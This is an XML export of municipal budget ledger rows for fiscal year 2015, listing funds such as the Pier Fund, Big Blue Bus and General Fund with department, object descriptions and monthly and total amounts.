<row _id="16406"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>19</fund_id><fund_name>CDBG Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>577727.0</object><object_description>WCIL HOME ACCESS PROG-CDBG</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>36644.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>36644.0</total></row>
<row _id="16407"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>495425.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>495425.0</total></row>
<row _id="16408"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>405690.0</object><object_description>SALE OF ADVERTISING PANELS</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>-10000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-10000.0</total></row>
<row _id="16409"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>522549.0</object><object_description>ADVERTISING PAYMENTS (CCB)</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>264000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>264000.0</total></row>
<row _id="16410"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>404211.0</object><object_description>OTHER OPER REV-OUTSIDE ADVERTI</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-400000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-400000.0</total></row>
<row _id="16411"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>569290.0</object><object_description>FIRE TRUCK MAINTENANCE REIMB</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>419871.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>419871.0</total></row>
<row _id="16412"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>394.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>394.0</total></row>
<row _id="16413"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1061.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1061.0</total></row>
<row _id="16414"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>626.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>626.0</total></row>
<row _id="16415"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>8012.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8012.0</total></row>
<row _id="16416"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object xsi:nil="true" /><object_description>YEAR-END CASH OUTS</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16417"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>511010.0</object><object_description>ESTIMATED PAY RAISE</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16418"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>511749.0</object><object_description>VISION</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>294.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>294.0</total></row>
<row _id="16419"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>144.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>144.0</total></row>
<row _id="16420"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>100.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>100.0</total></row>
<row _id="16421"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>132411.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>132411.0</total></row>
<row _id="16422"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>106026.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>106026.0</total></row>
<row _id="16423"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>109417.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>109417.0</total></row>
<row _id="16424"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>552010.0</object><object_description>CUSTODIAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4634.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4634.0</total></row>
<row _id="16425"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>11500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11500.0</total></row>
<row _id="16426"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="16427"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>408280.0</object><object_description>FIRE EXTINGUSHER TRAINING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16428"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIB-POA</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-41172.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-41172.0</total></row>
<row _id="16429"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>408330.0</object><object_description>LANDSCAPE &amp; IRRIG ON-SITE INSP</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-60000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-60000.0</total></row>
<row _id="16430"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>555067.0</object><object_description>LANDFILL GAS CONTROL SYST.</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16431"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>588.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>588.0</total></row>
<row _id="16432"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2072.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2072.0</total></row>
<row _id="16433"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>419.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>419.0</total></row>
<row _id="16434"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>107368.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>107368.0</total></row>
<row _id="16435"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4535.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4535.0</total></row>
<row _id="16436"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>544090.0</object><object_description>MEDICAL/FIRST AID SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>100.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>100.0</total></row>
<row _id="16437"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>577240.0</object><object_description>SERVICE AGREEMENTS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>263667.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>263667.0</total></row>
<row _id="16438"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>577940.0</object><object_description>REIMB FOR PARKING EXPEND</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>273611.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>273611.0</total></row>
<row _id="16439"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>524.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>524.0</total></row>
<row _id="16440"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2466.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2466.0</total></row>
<row _id="16441"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>7116.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7116.0</total></row>
<row _id="16442"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="16443"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>19341.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>19341.0</total></row>
<row _id="16444"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIB-POA</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-39887.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-39887.0</total></row>
<row _id="16445"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>4880.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4880.0</total></row>
<row _id="16446"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="16447"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>577300.0</object><object_description>PIER RESTORATION CORPORATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>503154.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>503154.0</total></row>
<row _id="16448"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-15558.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-15558.0</total></row>
<row _id="16449"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16450"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5217.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5217.0</total></row>
<row _id="16451"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>570290.0</object><object_description>TRANSFER OUT-LOW/MOD FD.</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1200000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1200000.0</total></row>
<row _id="16452"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16453"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UTILITIES-WATER-CITY HALL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>15315.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15315.0</total></row>
<row _id="16454"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>522860.0</object><object_description>FUEL MANAGEMENT SYSTEMS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>8431.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8431.0</total></row>
